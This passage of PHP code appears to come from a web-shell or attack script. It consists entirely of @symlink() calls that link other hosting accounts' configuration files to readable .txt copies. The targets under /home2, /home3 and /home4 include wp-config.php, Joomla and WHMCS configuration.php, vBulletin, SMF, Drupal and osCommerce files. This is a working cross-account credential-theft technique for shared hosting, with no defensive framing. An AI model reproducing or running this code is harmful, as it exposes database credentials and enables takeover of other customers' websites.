@symlink(\'/home2/\' . $user . \'/public_html/WP/wp-config.php\', $user . \'-wp13-WP.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/wp/beta/wp-config.php\', $user . \'-wp13-wp-beta.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp13-beta.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/press/wp-config.php\', $user . \'-wp13-press.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/wordpress/wp-config.php\', $user . \'-wp13-wordpress.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/Wordpress/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/wordpress/beta/wp-config.php\', $user . \'-wp13-wordpress-beta.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/news/wp-config.php\', $user . \'-wp13-news.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/new/wp-config.php\', $user . \'-wp13-new.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp-blog.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp-beta.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/blogs/wp-config.php\', $user . \'-wp-blogs.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/home2/wp-config.php\', $user . \'-wp-home2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/protal/wp-config.php\', $user . \'-wp-protal.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/site/wp-config.php\', $user . \'-wp-site.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/main/wp-config.php\', $user . \'-wp-main.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/test/wp-config.php\', $user . \'-wp-test.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/joomla/configuration.php\', $user . \'-joomla2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/protal/configuration.php\', $user . \'-joomla-protal.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/joo/configuration.php\', $user . \'-joo.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/cms/configuration.php\', $user . \'-joomla-cms.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/site/configuration.php\', $user . \'-joomla-site.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/main/configuration.php\', $user . \'-joomla-main.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/news/configuration.php\', $user . \'-joomla-news.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/new/configuration.php\', $user . \'-joomla-new.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/home2/configuration.php\', $user . \'-joomla-home2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/vb/includes/config.php\', $user . \'-vb-config.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/vb3/includes/config.php\', $user . \'-vb3-config.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/cc/includes/config.php\', $user . \'-vb1-config.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/includes/config.php\', $user . \'-includes-vb.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/forum/includes/class_core.php\', $user . \'-vbluttin-class_core.php.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/vb/includes/class_core.php\', $user . \'-vbluttin-class_core.php1.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/cc/includes/class_core.php\', $user . \'-vbluttin-class_core.php2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/configuration.php\', $user . \'-joomla.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/includes/dist-configure.php\', $user . \'-zencart.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/zencart/includes/dist-configure.php\', $user . \'-shop-zencart.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/shop/includes/dist-configure.php\', $user . \'-shop-ZCshop.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/Settings.php\', $user . \'-smf.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/smf/Settings.php\', $user . \'-smf2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/forum/Settings.php\', $user . \'-smf-forum.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/forums/Settings.php\', $user . \'-smf-forums.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/upload/includes/config.php\', $user . \'-up.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/article/config.php\', $user . \'-Nwahy.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/up/includes/config.php\', $user . \'-up2.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/conf_global.php\', $user . \'-6.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/include/db.php\', $user . \'-7.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/connect.php\', $user . \'-PHP-Fusion.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/mk_conf.php\', $user . \'-9.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/includes/config.php\', $user . \'-traidnt1.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/config.php\', $user . \'-4images.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/sites/default/settings.php\', $user . \'-Drupal.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/member/configuration.php\', $user . \'-1member.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/supports/includes/iso4217.php\', $user . \'-hostbills-supports.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/client/includes/iso4217.php\', $user . \'-hostbills-client.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/support/includes/iso4217.php\', $user . \'-hostbills-support.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/billing/includes/iso4217.php\', $user . \'-hostbills-billing.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/billings/includes/iso4217.php\', $user . \'-hostbills-billings.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/host/includes/iso4217.php\', $user . \'-hostbills-host.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hosts/includes/iso4217.php\', $user . \'-hostbills-hosts.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hosting/includes/iso4217.php\', $user . \'-hostbills-hosting.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hostings/includes/iso4217.php\', $user . \'-hostbills-hostings.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/includes/iso4217.php\', $user . \'-hostbills.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hostbills/includes/iso4217.php\', $user . \'-hostbills-hostbills.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hostbill/includes/iso4217.php\', $user . \'-hostbills-hostbill.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/cart/configuration.php\', $user . \'-cart-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hosting/configuration.php\', $user . \'-hosting-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/buy/configuration.php\', $user . \'-buy-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/checkout/configuration.php\', $user . \'-checkout-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/host/configuration.php\', $user . \'-host-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/shop/configuration.php\', $user . \'-shop-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/shopping/configuration.php\', $user . \'-shopping-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/sale/configuration.php\', $user . \'-sale-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/client/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/support/configuration.php\', $user . \'-support-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/clientsupport/configuration.php\', $user . \'-clientsupport-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/whm/whmcs/configuration.php\', $user . \'-whm-whmcs.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/whm/WHMCS/configuration.php\', $user . \'-whm-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/whmc/WHM/configuration.php\', $user . \'-whmc-WHM.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/whmcs/configuration.php\', $user . \'-whmc-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/supp/configuration.php\', $user . \'-supp-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/secure/configuration.php\', $user . \'-sucure-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/secure/whm/configuration.php\', $user . \'-sucure-whm-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/secure/whmcs/configuration.php\', $user . \'-sucure-whmcs-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/panel/configuration.php\', $user . \'-panel-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/hosts/configuration.php\', $user . \'-hosts-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/submitticket.php\', $user . \'-submitticket-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/clients/configuration.php\', $user . \'-clients-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/clientes/configuration.php\', $user . \'-clientes-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/cliente/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/billing/configuration.php\', $user . \'-billing-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/manage/configuration.php\', $user . \'-whm-manage-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/my/configuration.php\', $user . \'-whm-my-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/myshop/configuration.php\', $user . \'-whm-myshop-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/billings/configuration.php\', $user . \'-billings-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/supports/configuration.php\', $user . \'-supports-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/auto/configuration.php\', $user . \'-auto-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/go/configuration.php\', $user . \'-go-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/\' . $user . \'/configuration.php\', $user . \'-USERNAME-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/bill/configuration.php\', $user . \'-bill-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/payment/configuration.php\', $user . \'-payment-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/pay/configuration.php\', $user . \'-pay-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/purchase/configuration.php\', $user . \'-purchase-WHMCS.txt\');
@symlink(\'/home2/\' . $user . \'/public_html/db.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/conect_to_mysql.php\', $user . \'-autobuy\');
@symlink(\'/home2/\' . $user . \'/public_html/connect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/admin/connect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/include/connect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/wp-admin/connect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/wp-admin/config.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/wp-admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home2/\' . $user . \'/public_html/admin/connection.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/includes/configure.php\', $user . \'-shop.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/os/includes/configure.php\', $user . \'-shop-os.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/oscom/includes/configure.php\', $user . \'-oscom.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/oscommerce/includes/configure.php\', $user . \'-oscommerce.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/oscommerces/includes/configure.php\', $user . \'-oscommerces.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/shop/includes/configure.php\', $user . \'-shop2.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/shopping/includes/configure.php\', $user . \'-shop-shopping.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/sale/includes/configure.php\', $user . \'-sale.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/amember/config.inc.php\', $user . \'-amember.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/library/config.php\', $user . \'-symlink\');
@symlink(\'/home3/\' . $user . \'/public_html/members/configuration.php\', $user . \'-members.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/config.php\', $user . \'-4images1.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/forum/includes/config.php\', $user . \'-forum.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/forums/includes/config.php\', $user . \'-forums.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/admin/conf.php\', $user . \'-5.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/admin/config.php\', $user . \'-4.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/wp-config.php\', $user . \'-wp13.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/wp/wp-config.php\', $user . \'-wp13-wp.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/WP/wp-config.php\', $user . \'-wp13-WP.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/wp/beta/wp-config.php\', $user . \'-wp13-wp-beta.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp13-beta.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/press/wp-config.php\', $user . \'-wp13-press.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/wordpress/wp-config.php\', $user . \'-wp13-wordpress.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/Wordpress/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/wordpress/beta/wp-config.php\', $user . \'-wp13-wordpress-beta.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/news/wp-config.php\', $user . \'-wp13-news.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/new/wp-config.php\', $user . \'-wp13-new.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp-blog.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp-beta.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/blogs/wp-config.php\', $user . \'-wp-blogs.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/home3/wp-config.php\', $user . \'-wp-home3.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/protal/wp-config.php\', $user . \'-wp-protal.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/site/wp-config.php\', $user . \'-wp-site.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/main/wp-config.php\', $user . \'-wp-main.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/test/wp-config.php\', $user . \'-wp-test.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/arcade/functions/dbclass.php\', $user . \'-ibproarcade.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/joomla/configuration.php\', $user . \'-joomla2.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/protal/configuration.php\', $user . \'-joomla-protal.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/joo/configuration.php\', $user . \'-joo.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/cms/configuration.php\', $user . \'-joomla-cms.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/site/configuration.php\', $user . \'-joomla-site.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/main/configuration.php\', $user . \'-joomla-main.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/news/configuration.php\', $user . \'-joomla-news.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/new/configuration.php\', $user . \'-joomla-new.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/home3/configuration.php\', $user . \'-joomla-home3.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/vb/includes/config.php\', $user . \'-vb-config.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/vb3/includes/config.php\', $user . \'-vb3-config.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/cc/includes/config.php\', $user . \'-vb1-config.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/includes/config.php\', $user . \'-includes-vb.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/forum/includes/class_core.php\', $user . \'-vbluttin-class_core.php.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/vb/includes/class_core.php\', $user . \'-vbluttin-class_core.php1.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/cc/includes/class_core.php\', $user . \'-vbluttin-class_core.php2.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/configuration.php\', $user . \'-joomla.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/includes/dist-configure.php\', $user . \'-zencart.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/zencart/includes/dist-configure.php\', $user . \'-shop-zencart.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/shop/includes/dist-configure.php\', $user . \'-shop-ZCshop.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/Settings.php\', $user . \'-smf.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/smf/Settings.php\', $user . \'-smf2.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/forum/Settings.php\', $user . \'-smf-forum.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/forums/Settings.php\', $user . \'-smf-forums.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/upload/includes/config.php\', $user . \'-up.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/article/config.php\', $user . \'-Nwahy.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/up/includes/config.php\', $user . \'-up2.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/conf_global.php\', $user . \'-6.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/include/db.php\', $user . \'-7.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/connect.php\', $user . \'-PHP-Fusion.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/mk_conf.php\', $user . \'-9.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/includes/config.php\', $user . \'-traidnt1.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/config.php\', $user . \'-4images.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/sites/default/settings.php\', $user . \'-Drupal.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/member/configuration.php\', $user . \'-1member.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/supports/includes/iso4217.php\', $user . \'-hostbills-supports.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/client/includes/iso4217.php\', $user . \'-hostbills-client.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/support/includes/iso4217.php\', $user . \'-hostbills-support.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/billing/includes/iso4217.php\', $user . \'-hostbills-billing.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/billings/includes/iso4217.php\', $user . \'-hostbills-billings.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/host/includes/iso4217.php\', $user . \'-hostbills-host.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hosts/includes/iso4217.php\', $user . \'-hostbills-hosts.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hosting/includes/iso4217.php\', $user . \'-hostbills-hosting.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hostings/includes/iso4217.php\', $user . \'-hostbills-hostings.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/includes/iso4217.php\', $user . \'-hostbills.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hostbills/includes/iso4217.php\', $user . \'-hostbills-hostbills.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hostbill/includes/iso4217.php\', $user . \'-hostbills-hostbill.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/cart/configuration.php\', $user . \'-cart-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hosting/configuration.php\', $user . \'-hosting-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/buy/configuration.php\', $user . \'-buy-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/checkout/configuration.php\', $user . \'-checkout-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/host/configuration.php\', $user . \'-host-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/shop/configuration.php\', $user . \'-shop-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/shopping/configuration.php\', $user . \'-shopping-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/sale/configuration.php\', $user . \'-sale-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/client/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/support/configuration.php\', $user . \'-support-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/clientsupport/configuration.php\', $user . \'-clientsupport-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/whm/whmcs/configuration.php\', $user . \'-whm-whmcs.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/whm/WHMCS/configuration.php\', $user . \'-whm-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/whmc/WHM/configuration.php\', $user . \'-whmc-WHM.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/whmcs/configuration.php\', $user . \'-whmc-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/supp/configuration.php\', $user . \'-supp-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/secure/configuration.php\', $user . \'-sucure-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/secure/whm/configuration.php\', $user . \'-sucure-whm-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/secure/whmcs/configuration.php\', $user . \'-sucure-whmcs-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/panel/configuration.php\', $user . \'-panel-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/hosts/configuration.php\', $user . \'-hosts-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/submitticket.php\', $user . \'-submitticket-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/clients/configuration.php\', $user . \'-clients-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/clientes/configuration.php\', $user . \'-clientes-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/cliente/configuration.php\', $user . \'-client-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/billing/configuration.php\', $user . \'-billing-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/manage/configuration.php\', $user . \'-whm-manage-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/my/configuration.php\', $user . \'-whm-my-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/myshop/configuration.php\', $user . \'-whm-myshop-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/billings/configuration.php\', $user . \'-billings-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/supports/configuration.php\', $user . \'-supports-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/auto/configuration.php\', $user . \'-auto-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/go/configuration.php\', $user . \'-go-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/\' . $user . \'/configuration.php\', $user . \'-USERNAME-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/bill/configuration.php\', $user . \'-bill-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/payment/configuration.php\', $user . \'-payment-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/pay/configuration.php\', $user . \'-pay-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/purchase/configuration.php\', $user . \'-purchase-WHMCS.txt\');
@symlink(\'/home3/\' . $user . \'/public_html/db.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/conect_to_mysql.php\', $user . \'-autobuy\');
@symlink(\'/home3/\' . $user . \'/public_html/connect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/admin/connect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/include/connect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/wp-admin/connect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/wp-admin/config.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/wp-admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/admin/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/dbconnect.php\', $user . \'-normal\');
@symlink(\'/home3/\' . $user . \'/public_html/admin/connection.php\', $user . \'-normal\');
@symlink(\'/home4/\' . $user . \'/public_html/includes/configure.php\', $user . \'-shop.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/os/includes/configure.php\', $user . \'-shop-os.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/oscom/includes/configure.php\', $user . \'-oscom.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/oscommerce/includes/configure.php\', $user . \'-oscommerce.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/oscommerces/includes/configure.php\', $user . \'-oscommerces.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/shop/includes/configure.php\', $user . \'-shop2.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/shopping/includes/configure.php\', $user . \'-shop-shopping.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/sale/includes/configure.php\', $user . \'-sale.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/amember/config.inc.php\', $user . \'-amember.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/library/config.php\', $user . \'-symlink\');
@symlink(\'/home4/\' . $user . \'/public_html/members/configuration.php\', $user . \'-members.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/config.php\', $user . \'-4images1.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/forum/includes/config.php\', $user . \'-forum.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/forums/includes/config.php\', $user . \'-forums.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/admin/conf.php\', $user . \'-5.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/admin/config.php\', $user . \'-4.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/wp-config.php\', $user . \'-wp13.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/wp/wp-config.php\', $user . \'-wp13-wp.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/WP/wp-config.php\', $user . \'-wp13-WP.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/wp/beta/wp-config.php\', $user . \'-wp13-wp-beta.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp13-beta.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/press/wp-config.php\', $user . \'-wp13-press.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/wordpress/wp-config.php\', $user . \'-wp13-wordpress.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/Wordpress/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp13-Wordpress.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/wordpress/beta/wp-config.php\', $user . \'-wp13-wordpress-beta.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/news/wp-config.php\', $user . \'-wp13-news.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/new/wp-config.php\', $user . \'-wp13-new.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/blog/wp-config.php\', $user . \'-wp-blog.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/beta/wp-config.php\', $user . \'-wp-beta.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/blogs/wp-config.php\', $user . \'-wp-blogs.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/home4/wp-config.php\', $user . \'-wp-home4.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/protal/wp-config.php\', $user . \'-wp-protal.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/site/wp-config.php\', $user . \'-wp-site.txt\');
@symlink(\'/home4/\' . $user . \'/public_html/main/wp-config.php\', $user . \'-wp-main.txt\');
